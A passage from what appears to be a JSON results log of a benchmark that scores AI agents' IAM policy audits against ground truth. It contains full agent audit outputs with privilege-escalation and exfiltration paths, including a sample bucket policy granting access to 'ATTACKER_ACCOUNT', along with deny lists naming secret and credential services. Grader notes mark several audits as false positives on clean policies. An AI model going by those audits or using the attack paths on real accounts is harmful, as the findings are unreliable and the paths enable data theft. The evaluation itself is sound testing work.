`arn:aws:s3:::team-sandbox-scratch/*` pattern evaluation. In practice AWS requires the resource be `*` for account-level S3 actions, but `s3:ListAllMyBuckets` **does** work and leaks bucket enumeration data.\n\n**Fix:** Explicitly deny:\n\n```json\n\"s3:ListAllMyBuckets\",\n\"s3:PutAccountPublicAccessBlock\",\n\"s3:GetAccountPublicAccessBlock\"\n```\n\n---\n\n## Finding 10 \u2014 LOW: No Explicit Deny on `s3:GetObject` for Other Buckets\n\n**Severity: LOW / Defense-in-Depth**\n\n**What's wrong:**\n\nThe policy relies on the implicit deny for other buckets. This is correct IAM behavior \u2014 no Allow exists for other bucket ARNs. However, there is no **explicit Deny**. If an SCP or another policy attached to this role (e.g., a permissive managed policy added later) inadvertently grants S3 read elsewhere, there is no backstop.\n\n**Fix:** Add an explicit Deny for S3 actions on resources outside the sandbox bucket:\n\n```json\n{\n \"Sid\": \"DenyS3OutsideSandbox\",\n \"Effect\": \"Deny\",\n \"Action\": \"s3:*\",\n \"NotResource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n}\n```\n\n---\n\n## Corrected Policy\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"AllowSandboxBucketDataPlaneOnly\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:GetObject\",\n \"s3:PutObject\",\n \"s3:DeleteObject\",\n \"s3:ListBucket\",\n \"s3:GetBucketLocation\",\n \"s3:GetObjectVersion\",\n \"s3:DeleteObjectVersion\",\n \"s3:GetObjectTagging\",\n \"s3:PutObjectTagging\"\n ],\n \"Resource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n },\n {\n \"Sid\": \"DenyAllS3OutsideSandbox\",\n \"Effect\": \"Deny\",\n \"Action\": \"s3:*\",\n \"NotResource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n },\n {\n \"Sid\": \"DenyEscalationServicesEverywhere\",\n \"Effect\": \"Deny\",\n \"Action\": [\n \"iam:*\",\n \"sts:*\",\n \"organizations:*\",\n \"kms:*\",\n \"lambda:*\",\n \"ec2:*\",\n \"ecs:*\",\n \"ssm:*\",\n \"secretsmanager:*\",\n \"glue:*\",\n \"athena:*\",\n \"lakeformation:*\",\n \"datasync:*\",\n \"cloudtrail:StopLogging\",\n \"cloudtrail:DeleteTrail\",\n \"cloudtrail:UpdateTrail\",\n \"cloudtrail:PutEventSelectors\",\n \"cloudtrail:PutInsightSelectors\",\n \"s3:PutBucketPolicy\",\n \"s3:DeleteBucketPolicy\",\n \"s3:PutBucketAcl\",\n \"s3:PutBucketCORS\",\n \"s3:PutBucketWebsite\",\n \"s3:PutBucketReplication\",\n \"s3:PutBucketNotification\",\n \"s3:PutBucketLogging\",\n \"s3:PutEncryptionConfiguration\",\n \"s3:PutLifecycleConfiguration\",\n \"s3:PutBucketVersioning\",\n \"s3:PutObjectAcl\",\n \"s3:PutBucketOwnershipControls\",\n \"s3:PutPublicAccessBlock\",\n \"s3:PutAccountPublicAccessBlock\",\n \"s3:ListAllMyBuckets\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}\n```\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Root Cause |\n|---|---------|----------|------------|\n| 1 | `Action:*` allows bucket policy takeover / cross-account exfil | **CRITICAL** |",
"agent_chars": 12386,
"agent_s": 68.1,
"elapsed_s": 77.7
},
{
"fixture": "02-action-star-blanket-deny",
"condition": "control",
"trial": 1,
"score": 2,
"scores_by_item": [
1,
0,
0,
0,
0,
1,
0
],
"notes": [
"The agent correctly parses Action '*' and recognizes it expands to concrete sensitive S3 permissions like s3:PutBucketPolicy.",
"The ground truth finding is 'no real defect' (clean: True, findings: []), but the agent reports multiple CRITICAL and HIGH findings \u2014 failing to identify that the policy is actually clean.",
"The agent asserts multiple material defects (CRITICAL s3:PutBucketPolicy escalation, HIGH glue/athena gaps, HIGH cross-bucket S3 access) that the ground truth explicitly says do not exist after considering the Deny scope.",
"The agent fails cross-statement reasoning: it does not correctly conclude that the broad Deny statement neutralizes the Action '*' allow, which is the key analytical step the ground truth identifies.",
"The agent headlines a 'CRITICAL' escalation via s3:PutBucketPolicy, but the ground truth explicitly states the star expands to nothing useful outside one scratch bucket and the Deny caps it \u2014 this neutralized grant should not be called critical.",
"The agent correctly names things it cannot determine from the policy alone, including org SCPs, trust policy details, and other attached policies.",
"The ground truth top fix is 'None required for security' (optionally replace Action * with concrete S3 actions for clarity), but the agent recommends a major policy rewrite treating the policy as actively dangerous \u2014 the substance does not match."
],
"agent_output": "## IAM Policy Audit: `role/sandbox-experimenter`\n\n---\n\n### Overall Design Assessment\n\nThe policy follows a reasonable \"allow-narrow, deny-broad\" pattern, but has **several significant gaps** that undermine the intent. The core problem is that `Action: \"*\"` on an S3 resource is more powerful than it appears, and the deny list has meaningful omissions.\n\n---\n\n## Finding 1 \u2014 `Action: \"*\"` on S3 Resources is Not Just S3\n\n**Severity: CRITICAL**\n\n**The Problem:**\n\nThis is the most counterintuitive issue. When IAM evaluates `Action: \"*\"` against a resource, it does not scope to \"S3 actions only\" just because the resource is an S3 ARN. However, the real danger is subtler: **`Action: \"*\"` means this role is granted every action in AWS**, subject to resource-level filtering. For actions that support `Resource: *` only (i.e., they don't accept specific ARNs), AWS silently ignores those actions when the resource doesn't match \u2014 but for services where the ARN *happens to match*, the grant applies.\n\nMore concretely: **you are granting every S3 action including ones that enable escalation**:\n\n```\ns3:PutBucketPolicy\ns3:PutBucketAcl\ns3:PutBucketWebsite\ns3:PutBucketNotification\ns3:PutBucketCORS\n```\n\n**Escalation Path via `s3:PutBucketPolicy`:**\n\n```\n1. role/sandbox-experimenter calls s3:PutBucketPolicy on team-sandbox-scratch\n2. Injects a bucket policy granting s3:GetObject / s3:PutObject \n to an external AWS account (attacker-controlled)\n3. Exfiltrates data or uses the bucket as a relay \u2014 no IAM, STS, \n or KMS required, so the Deny statement never fires\n```\n\n**Escalation Path via `s3:PutBucketNotification`:**\n\n```\n1. Attacker configures bucket event notifications pointing to a \n Lambda function ARN in ANOTHER account (not blocked by the \n Lambda deny, which only blocks lambda:* actions, not S3 \n triggering Lambda)\n2. Any object upload triggers cross-account Lambda execution\n3. That Lambda runs under its own role \u2014 potentially privileged\n```\n\n**Escalation Path via `s3:PutBucketWebsite` + `s3:PutBucketPolicy`:**\n```\n1. Enable static website hosting\n2. Set bucket policy to allow public access\n3. Host malicious content / exfil endpoint publicly\n```\n\n**Fix:**\n\nReplace `Action: \"*\"` with an explicit, minimal S3 action list:\n\n```json\n{\n \"Sid\": \"FullControlOfSandboxBucketOnly\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:GetObject\",\n \"s3:PutObject\",\n \"s3:DeleteObject\",\n \"s3:ListBucket\",\n \"s3:GetBucketLocation\",\n \"s3:AbortMultipartUpload\",\n \"s3:ListMultipartUploadParts\"\n ],\n \"Resource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n}\n```\n\nThen add an **explicit Deny** for the dangerous bucket-level actions:\n\n```json\n{\n \"Sid\": \"DenyDangerousS3BucketManagement\",\n \"Effect\": \"Deny\",\n \"Action\": [\n \"s3:PutBucketPolicy\",\n \"s3:DeleteBucketPolicy\",\n \"s3:PutBucketAcl\",\n \"s3:PutBucketNotification\",\n \"s3:PutBucketWebsite\",\n \"s3:PutBucketCORS\",\n \"s3:PutBucketLogging\",\n \"s3:PutEncryptionConfiguration\",\n \"s3:PutLifecycleConfiguration\",\n \"s3:PutReplicationConfiguration\",\n \"s3:PutBucketVersioning\",\n \"s3:PutBucketPublicAccessBlock\"\n ],\n \"Resource\": \"*\"\n}\n```\n\n---\n\n## Finding 2 \u2014 `glue:*`, `athena:*`, `redshift-data:*` Not in Deny List\n\n**Severity: HIGH**\n\n**The Problem:**\n\nThe deny list blocks compute escalation vectors but **completely omits analytics services** that can read arbitrary S3 data across the account:\n\n```\nglue:CreateCrawler \u2192 crawl any S3 bucket the Glue role can access\nathena:StartQueryExecution \u2192 query S3 data via Glue catalog\nglue:CreateJob \u2192 run arbitrary code (PySpark/Python) under the Glue IAM role\nglue:CreateConnection \u2192 connect to VPC resources\n```\n\n**Escalation Path via `glue:CreateJob`:**\n\n```\n1. role/sandbox-experimenter calls glue:CreateJob\n2. Specifies an existing high-privilege Glue service role \n (AWSGlueServiceRole or similar) \u2014 attacker doesn't create \n the role, just references it\n3. Job runs arbitrary Python/Spark code under that role\n4. Effectively assumes a privileged role without touching iam:* or sts:*\n```\n\nThis bypasses the `sts:*` deny entirely because **Glue does the AssumeRole internally** \u2014 the principal never calls `sts:AssumeRole` directly.\n\n**Fix:**\n\nAdd to the Deny statement:\n\n```json\n\"glue:*\",\n\"athena:*\",\n\"redshift-data:*\",\n\"redshift:*\",\n\"lakeformation:*\",\n\"databrew:*\"\n```\n\n---\n\n## Finding 3 \u2014 `cloudformation:*` Not in Deny List\n\n**Severity: HIGH**\n\n**The Problem:**\n\nCloudFormation is not blocked. This is a well-known escalation primitive:\n\n```\n1. Create a CloudFormation stack\n2. Stack uses a CloudFormation service role (passed via --role-arn) \n OR uses the default CFN execution role\n3. Template provisions IAM roles, Lambda functions, EC2 instances\n4. CFN calls iam:CreateRole, lambda:CreateFunction internally \u2014 \n the *principal* never calls those directly\n```\n\nEven without specifying a role, if the account has a default CFN role with broad permissions, the attacker inherits it.\n\nNote: `cloudformation:CreateStack` requires resources other than S3 to be useful, and the allow statement only covers S3 ARNs \u2014 **but CloudFormation's resource ARN is `arn:aws:cloudformation:*`**, so it does not match the S3 allow. However, the policy only *denies* what's listed \u2014 anything not in the Allow is an implicit deny already. Let me re-examine this.\n\n**Correction and Clarification:**\n\nActually, because the Allow is scoped to S3 ARNs only, `cloudformation:CreateStack` would be an implicit deny (the allow doesn't match `arn:aws:cloudformation:*` resources). **This finding is lower risk than initially assessed**, but still worth noting because:\n\n- Some CFN actions accept `Resource: *` and could theoretically match in edge cases\n- This is a gap in the *deny* list that could matter if the allow were ever broadened\n- Best practice is explicit deny on escalation services regardless\n\n**Revised Severity: MEDIUM** (implicit deny provides protection, but defense-in-depth is absent)\n\n**Fix:**\n\nAdd to Deny: `\"cloudformation:*\"`\n\n---\n\n## Finding 4 \u2014 `s3:GetObject` on Non-Sandbox Buckets is Not Denied\n\n**Severity: HIGH**\n\n**The Problem:**\n\nThe Allow only grants access to `team-sandbox-scratch`. But the **Deny does not block S3 actions on other buckets**. This means:\n\n- There is no explicit allow for other S3 buckets \u2192 **implicit deny applies**\n- This is currently safe\n\n**However**, this creates a fragile posture. If any **Service Control Policy (SCP)** or **Resource-based policy** at the account level grants broader S3 access, this role would silently inherit it. More importantly:\n\n```\nBucket policies can grant cross-principal access.\nIf another bucket in this account has a permissive bucket policy \n(e.g., Allow Principal: * for the same account), this role could \nread/write it \u2014 and the permissions policy would not block it \nbecause there's no explicit Deny.\n```\n\n**Fix:**\n\nAdd an explicit S3 deny for non-sandbox resources:\n\n```json\n{\n \"Sid\": \"DenyAllS3OutsideSandbox\",\n \"Effect\": \"Deny\",\n \"Action\": \"s3:*\",\n \"NotResource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n}\n```\n\n---\n\n## Finding 5 \u2014 `sts:AssumeRole` Blocked, But `sts:AssumeRoleWithWebIdentity` / `sts:AssumeRoleWithSAML` Also Blocked \u2014 Verify OIDC Posture\n\n**Severity: LOW / Informational**\n\n**The Problem:**\n\n`sts:*` is denied, which is correct. However, auditors should verify:\n\n- Does this role have a **trust policy** that allows other principals to assume *it*?\n- If `role/sandbox-experimenter` can be assumed by a broader principal (e.g., `Principal: {\"AWS\": \"*\"}` with a weak condition), the deny on sts:AssumeRole *from this role* is moot \u2014 an attacker assumes the role from outside\n\n**Check:**\n\n```bash\naws iam get-role --role-name sandbox-experimenter \\\n --query 'Role.AssumeRolePolicyDocument'\n```\n\nEnsure the trust policy is scoped to specific, known principals with strong conditions (e.g., `aws:PrincipalArn`, MFA conditions).\n\n---\n\n## Finding 6 \u2014 `ses:*`, `sns:*`, `sqs:*` Not in Deny List\n\n**Severity: MEDIUM**\n\n**The Problem:**\n\nThese services are not blocked and, while they require matching resource ARNs for the Allow to apply (same implicit-deny logic as CloudFormation), they represent exfiltration and abuse vectors if the policy is ever loosened, and SNS/SQS specifically can be used for:\n\n```\nsqs:SendMessage \u2192 exfiltrate data to an attacker-controlled queue\nses:SendEmail \u2192 exfiltrate data via email\nsns:Publish \u2192 trigger downstream systems\n```\n\nAgain, currently protected by implicit deny on the Allow side, but not defense-in-depth.\n\n**Fix:** Add to Deny statement: `\"ses:*\"`, `\"sns:*\"`, `\"sqs:SendMessage\"`\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Currently Exploitable? | Fix |\n|---|---------|----------|----------------------|-----|\n| 1 | `Action: \"*\"` allows `s3:PutBucketPolicy`, `s3:PutBucketNotification`, etc. | **CRITICAL** | **YES** | Replace with explicit S3 action allowlist; deny dangerous bucket-management actions |\n| 2 | `glue:*`, `athena:*` not denied \u2014 code execution under Glue role | **HIGH** | **YES** | Add `glue:*`, `athena:*`, `lakeformation:*` to Deny |\n| 3 | `cloudformation:*` not in Deny | **MEDIUM** | Partially (implicit deny helps) | Add `cloudformation:*` to Deny |\n| 4 | No explicit S3 Deny outside sandbox; permissive bucket policies could grant access | **HIGH** | Conditionally | Add `Deny s3:* NotResource sandbox` |\n| 5 | Trust policy not reviewed \u2014 role assumability unknown | **LOW** | Unknown | Audit trust policy |\n| 6 | `ses:*`, `sns:*`, `sqs:*` not denied | **MEDIUM** | Partially (implicit deny helps) | Add to Deny for defense-in-depth |\n\n---\n\n## Recommended Revised Policy\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"AllowSandboxS3DataOperationsOnly\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:GetObject\",\n \"s3:PutObject\",\n \"s3:DeleteObject\",\n \"s3:ListBucket\",\n \"s3:GetBucketLocation\",\n \"s3:AbortMultipartUpload\",\n \"s3:ListMultipartUploadParts\",\n \"s3:GetObjectVersion\",\n \"s3:DeleteObjectVersion\"\n ],\n \"Resource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n },\n {\n \"Sid\": \"DenyAllS3OutsideSandbox\",\n \"Effect\": \"Deny\",\n \"Action\": \"s3:*\",\n \"NotResource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n },\n {\n \"Sid\": \"DenyEscalationAndExfiltrationServices\",\n \"Effect\": \"Deny\",\n \"Action\": [\n \"iam:*\",\n \"sts:*\",\n \"organizations:*\",\n \"kms:*\",\n \"lambda:*\",\n \"ec2:RunInstances\",\n \"ecs:RunTask\",\n \"ssm:*\",\n \"secretsmanager:*\",\n \"glue:*\",\n \"athena:*\",\n \"lakeformation:*\",\n \"databrew:*\",\n \"cloudformation:*\",\n \"codestar:*\",\n \"codebuild:*\",\n \"codepipeline:*\",\n \"sagemaker:CreateTrainingJob\",\n \"sagemaker:CreateProcessingJob\",\n \"ses:SendEmail\",\n \"ses:SendRawEmail\",\n \"sns:Publish\",\n \"sqs:SendMessage\",\n \"s3:PutBucketPolicy\",\n \"s3:DeleteBucketPolicy\",\n \"s3:PutBucketAcl\",\n \"s3:PutBucketNotification\",\n \"s3:PutBucketWebsite\",\n \"s3:PutBucketCORS\",\n \"s3:PutReplicationConfiguration\",\n \"s3:PutBucketPublicAccessBlock\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}\n```\n\n---\n\n**Bottom line:** The original policy's most dangerous flaw is `Action: \"*\"` \u2014 it is not neutralized by scoping the resource to an S3 bucket. The bucket becomes a control plane, not just a data plane. Fix that first.",
"agent_chars": 11699,
"agent_s": 65.4,
"elapsed_s": 74.7
},
{
"fixture": "02-action-star-blanket-deny",
"condition": "control",
"trial": 2,
"score": 2,
"scores_by_item": [
1,
0,
0,
0,
0,
1,
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"notes": [
"The agent correctly reads Action '*' as expanding to all permissions and recognizes it as scoped to an S3 resource ARN.",
"Ground truth says there are zero real findings (clean fixture); the agent invents multiple HIGH-severity escalation paths, failing to identify the correct ground truth of no defects.",
"The agent asserts multiple material defects (Glue escalation, CloudFormation bypass, CodeBuild, bucket policy takeover, EC2 snapshot exfiltration) that the ground truth explicitly says do not exist because the Deny neutralizes them and Action '*' on S3 ARNs doesn't grant other services.",
"The agent fails cross-statement reasoning: it does not correctly conclude that the Deny on dangerous services caps the Action '*', instead treating the Allow as if the Deny weren't present for most findings.",
"The agent headlines multiple findings as HIGH severity when the ground truth explicitly states the policy is clean and no escalation paths exist; this is the opposite of correct criticality assessment.",
"The agent correctly acknowledges it cannot determine the effect of other attached policies, org SCPs, or permission boundaries \u2014 matching the ground-truth boundary.",
"The ground truth top fix is 'None required'; the agent recommends extensive Deny additions and policy rewrites, directly contradicting the correct answer that no security fix is needed."
],
"agent_output": "## IAM Policy Audit: `role/sandbox-experimenter`\n\n---\n\n### Executive Summary\n\nThe policy has a **structurally sound intent** but contains **multiple meaningful gaps** in the Deny list that leave real escalation and exfiltration paths open. The Allow statement (`Action: \"*\"` scoped to one S3 bucket) is itself the root design smell, but the Deny blocklist is the layer that actually fails.\n\n---\n\n## Finding 1 \u2014 `Action: \"*\"` on S3 Resource Scope Is Broader Than S3\n\n**Severity: HIGH**\n\n**The problem:**\n\n```json\n\"Action\": \"*\",\n\"Resource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n]\n```\n\n`Action: \"*\"` does not mean \"all S3 actions.\" It means **every action in every AWS service**. IAM evaluates whether the action *applies* to the resource ARN, but this is more subtle than it appears.\n\nFor S3 ARNs, most non-S3 actions will simply not match and be harmless \u2014 **however**, several cross-service actions legitimately accept S3 ARNs as a resource, including:\n\n- `s3-object-lambda:*` \u2014 Object Lambda access points, not covered by the Deny\n- `s3-outposts:*` \u2014 S3 on Outposts, not covered by the Deny\n- Any future AWS service that accepts `arn:aws:s3:::*` as a resource type\n\nMore critically, the use of `Action: \"*\"` is a **code smell that signals the author is relying entirely on the Deny list for safety**. Any gap in the Deny list directly becomes an exploitable permission. This is defense-in-depth failure.\n\n**Fix:**\n\nReplace the wildcard with an explicit allowlist:\n\n```json\n\"Action\": [\n \"s3:GetObject\",\n \"s3:PutObject\",\n \"s3:DeleteObject\",\n \"s3:ListBucket\",\n \"s3:GetBucketLocation\",\n \"s3:AbortMultipartUpload\",\n \"s3:ListMultipartUploadParts\"\n],\n\"Resource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n]\n```\n\nGrant only what experimentation actually requires. This eliminates the entire class of \"what did we forget to Deny?\" risk.\n\n---\n\n## Finding 2 \u2014 `s3:PutBucketPolicy` / `s3:PutBucketAcl` Allows Bucket Takeover\n\n**Severity: HIGH**\n\n**The problem:**\n\n`Action: \"*\"` on the sandbox bucket includes:\n\n- `s3:PutBucketPolicy`\n- `s3:PutBucketAcl`\n- `s3:PutBucketCORS`\n- `s3:PutBucketWebsite`\n- `s3:DeleteBucketPolicy`\n\nThe principal can **rewrite the bucket policy to grant themselves or any external principal full access**, effectively making the bucket public or sharing it with an attacker-controlled AWS account. This is a **data exfiltration path** that bypasses the Deny list entirely because bucket policy manipulation is a pure S3 action.\n\nExample attack:\n\n```json\n// Attacker calls s3:PutBucketPolicy on team-sandbox-scratch:\n{\n \"Effect\": \"Allow\",\n \"Principal\": {\"AWS\": \"arn:aws:iam::ATTACKER_ACCOUNT:root\"},\n \"Action\": \"s3:*\",\n \"Resource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n}\n```\n\nThe bucket is now exfiltrable from an external account, completely outside this AWS account's IAM controls.\n\n**Fix:**\n\nExplicitly deny bucket-level administrative actions, or (preferred) use the explicit allowlist from Finding 1 which simply never grants these actions:\n\n```json\n{\n \"Sid\": \"DenyBucketAdminActions\",\n \"Effect\": \"Deny\",\n \"Action\": [\n \"s3:PutBucketPolicy\",\n \"s3:DeleteBucketPolicy\",\n \"s3:PutBucketAcl\",\n \"s3:PutBucketCORS\",\n \"s3:PutBucketWebsite\",\n \"s3:PutBucketLogging\",\n \"s3:DeleteBucket\"\n ],\n \"Resource\": \"arn:aws:s3:::team-sandbox-scratch\"\n}\n```\n\n---\n\n## Finding 3 \u2014 `glue:*` Not Denied \u2014 Privilege Escalation via Glue Jobs\n\n**Severity: HIGH**\n\n**The problem:**\n\nAWS Glue is entirely absent from the Deny list. Glue jobs execute arbitrary code under a **caller-supplied IAM role**. The attack path:\n\n1. Principal calls `glue:CreateJob` specifying `Role: arn:aws:iam::ACCOUNT:role/high-privilege-role`\n2. Principal calls `glue:StartJobRun`\n3. Glue executes the job **as the high-privilege role**, with full access to exfiltrate credentials, read secrets, call any AWS API\n\nThis is a **full privilege escalation to any role the Glue service can assume**, which in many accounts includes roles far more powerful than sandbox-experimenter.\n\nGlue does not appear in the Deny list. `Action: \"*\"` on an S3 ARN does not grant Glue permissions, **but** this finding highlights the broader problem: the policy relies on a Deny blocklist, and Glue is a well-known escalation vector that was simply missed.\n\n**Fix:**\n\nAdd to the Deny statement:\n\n```json\n\"glue:*\",\n\"databrew:*\",\n\"emr:*\",\n\"emr-serverless:*\"\n```\n\nOr better, use the SCP/permission boundary approach described in Finding 7.\n\n---\n\n## Finding 4 \u2014 `cloudformation:*` Not Denied \u2014 Escalation via Stack Deployment\n\n**Severity: HIGH**\n\n**The problem:**\n\nCloudFormation is not in the Deny list. CloudFormation can **create any AWS resource**, including IAM roles and policies, using a **service role** passed at stack creation time.\n\nAttack path:\n1. `cloudformation:CreateStack` with `RoleARN: arn:aws:iam::ACCOUNT:role/cfn-admin-role`\n2. Stack template creates `iam:CreateRole`, `iam:AttachRolePolicy` etc. \u2014 **executed as the CFN service role, not the principal**\n3. IAM Deny on the principal is bypassed because CFN is making the IAM calls\n\nThis is a **classic IAM Deny bypass**: the principal never calls `iam:*` directly.\n\n**Fix:**\n\nAdd to the Deny statement:\n\n```json\n\"cloudformation:*\",\n\"servicecatalog:*\"\n```\n\n---\n\n## Finding 5 \u2014 `codestar:*` / `codecommit:*` / `codebuild:*` Not Denied\n\n**Severity: MEDIUM\u2013HIGH**\n\n**The problem:**\n\nCodeBuild executes builds under a service role. Same escalation pattern as Glue/CloudFormation:\n\n1. `codebuild:CreateProject` with `serviceRole: arn:aws:iam::ACCOUNT:role/powerful-role`\n2. `codebuild:StartBuild`\n3. Build executes as the powerful role\n\nCodePipeline, CodeDeploy, and CodeStar share this pattern.\n\n**Fix:**\n\nAdd to Deny:\n\n```json\n\"codebuild:*\",\n\"codepipeline:*\",\n\"codestar:*\",\n\"codestar-connections:*\"\n```\n\n---\n\n## Finding 6 \u2014 `sts:*` Is Denied But `ec2:*` (Except RunInstances) Is Not\n\n**Severity: MEDIUM**\n\n**The problem:**\n\nThe Deny blocks `ec2:RunInstances` specifically, but **not** other EC2 actions. Notably missing:\n\n- `ec2:RequestSpotInstances` \u2014 launches EC2 instances via the Spot fleet API, **not** `RunInstances`\n- `ec2:CreateLaunchTemplate` + `ec2:RunInstances` is blocked, but `ec2:ModifyLaunchTemplate` on an existing template is not\n- `ec2:CreateImage`, `ec2:CopyImage` \u2014 snapshot/image exfiltration\n- `ec2:ModifySnapshotAttribute` \u2014 make EBS snapshots public or share with attacker account\n- `ec2:ModifyImageAttribute` \u2014 make AMIs public\n\n`ec2:ModifySnapshotAttribute` in particular is a well-known **data exfiltration primitive**: share a snapshot containing sensitive data with an external AWS account, then mount it there.\n\n**Fix:**\n\nBroaden the EC2 Deny:\n\n```json\n\"ec2:RequestSpotFleet\",\n\"ec2:RequestSpotInstances\",\n\"ec2:ModifySnapshotAttribute\",\n\"ec2:ModifyImageAttribute\",\n\"ec2:CreateImage\",\n\"ec2:CopySnapshot\",\n\"ec2:CopyImage\"\n```\n\nOr deny `ec2:*` entirely if this role has no legitimate EC2 needs.\n\n---\n\n## Finding 7 \u2014 Architectural: Blocklist Pattern Is Fundamentally Fragile\n\n**Severity: MEDIUM (design/systemic)**\n\n**The problem:**\n\nThe entire policy is structured as **allow-everything, deny-some-things**. This is an **inverted security model**. Every new AWS service launch, every new escalation-capable API, every novel attack technique discovered next year requires a retroactive Deny rule. You are permanently playing catch-up.\n\nCurrent gaps beyond those already listed include (non-exhaustive):\n- `sagemaker:CreateTrainingJob` \u2014 executes code under a service role\n- `events:PutRule` / `events:PutTargets` \u2014 schedules Lambda/SSM invocations (Lambda is denied, but EventBridge targeting other services is not)\n- `scheduler:*` (EventBridge Scheduler) \u2014 similar to above\n- `states:*` (Step Functions) \u2014 orchestrates other services under a role\n- `bedrock:*`, `comprehend:*`, `rekognition:*` \u2014 async jobs with service roles\n- `dax:*`, `rds:*`, `redshift:*` \u2014 spin up compute that exfiltrates data\n\n**Fix:**\n\n**Do not use this policy pattern for a production sandbox.** Use one of:\n\n**Option A \u2014 Permission Boundary (recommended):**\n\nAttach a permission boundary to the role that is an explicit allowlist of only S3 actions on only this bucket. The identity policy can remain broad; the boundary is the hard ceiling:\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Effect\": \"Allow\",\n \"Action\": \"s3:*\",\n \"Resource\": [\n \"arn:aws:s3:::team-sandbox-scratch\",\n \"arn:aws:s3:::team-sandbox-scratch/*\"\n ]\n }]\n}\n```\n\n**Option B \u2014 SCP on a dedicated sandbox OU:**\n\nPlace sandbox accounts in a dedicated AWS Organizations OU. Apply an SCP that is an explicit allowlist:\n\n```json\n{\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:*\"],\n \"Resource\": \"*\"\n}\n```\n\nAll other actions are implicitly denied at the organizational level, regardless of what any IAM policy in the account says.\n\n**Option C \u2014 Fix the identity policy directly** (minimum viable fix):\n\nReplace `Action: \"*\"` with an explicit `s3:` allowlist as shown in Finding 1.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Attack Path |\n|---|---------|----------|-------------|\n| 1 | `Action: \"*\"` instead of explicit S3 actions | HIGH | Foundation of all other findings |\n| 2 | `s3:PutBucketPolicy` enables bucket exfiltration | HIGH | Data exfiltration to external account |\n| 3 | `glue:*` not denied \u2014 arbitrary code execution | HIGH | Privilege escalation via service role passthrough |\n| 4 | `cloudformation:*` not denied | HIGH | IAM escalation bypassing Deny via CFN service role |\n| 5 | `codebuild:*` not denied | MEDIUM-HIGH | Same passthrough pattern as Glue |\n| 6 | `ec2:ModifySnapshotAttribute` etc. not denied | MEDIUM | Data exfiltration via snapshot sharing |\n| 7 | Blocklist architecture is systemically fragile | MEDIUM | Every future AWS service is a potential gap |\n\n---\n\n### Minimum Required Changes (if blocklist pattern must be kept)\n\n```json\n// Add to DenyEscalationServicesEverywhere Action array:\n\"glue:*\",\n\"glue:CreateJob\",\n\"cloudformation:*\",\n\"codebuild:*\",\n\"codepipeline:*\",\n\"codestar:*\",\n\"sagemaker:*\",\n\"states:*\",\n\"events:PutTargets\",\n\"events:PutRule\",\n\"scheduler:*\",\n\"emr:*\",\n\"ec2:RequestSpotInstances\",\n\"ec2:RequestSpotFleet\",\n\"ec2:ModifySnapshotAttribute\",\n\"ec2:ModifyImageAttribute\",\n\"ec2:CopySnapshot\",\n\"s3:PutBucketPolicy\",\n\"s3:DeleteBucketPolicy\",\n\"s3:PutBucketAcl\",\n\"s3:DeleteBucket\"\n```\n\nAnd replace `Action: \"*\"` with an explicit S3 action list. The blocklist approach should still be considered a temporary patch, not a remediation.",
"agent_chars": 10555,
"agent_s": 59.9,
"elapsed_s": 69.1
},
{
"fixture": "03-assumerole-broken-trust",
"condition": "control",
"trial": 0,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
0
],
"notes": [
"Agent correctly reads the AssumeRole statement and identifies the target role, so parsing is adequate.",
"Ground truth says findings are empty (clean policy); agent reports a CRITICAL finding for the AssumeRole grant, which is incorrect \u2014 the broken trust makes it a non-finding.",
"Agent asserts a CRITICAL material defect (AssumeRole on admin role) that ground truth explicitly classifies as inert/clean, constituting a false positive.",
"Agent correctly reasons that both the permissions policy grant AND the trust policy must align, recognising the broken-back nature; it does understand the cross-statement logic even if it draws the wrong severity conclusion.",
"Agent headlines the neutralised AssumeRole grant as CRITICAL, which directly contradicts the rubric requirement not to headline a broken-back AssumeRole as a live escalation.",
"Agent explicitly names the target role's trust policy and whether other principals can close the loop as things it evaluated \u2014 matching the ground-truth boundary.",
"Ground truth top fix is 'None needed / optionally remove'; agent recommends mandatory removal and additional controls, overstating the required remediation for what is a non-finding."
],
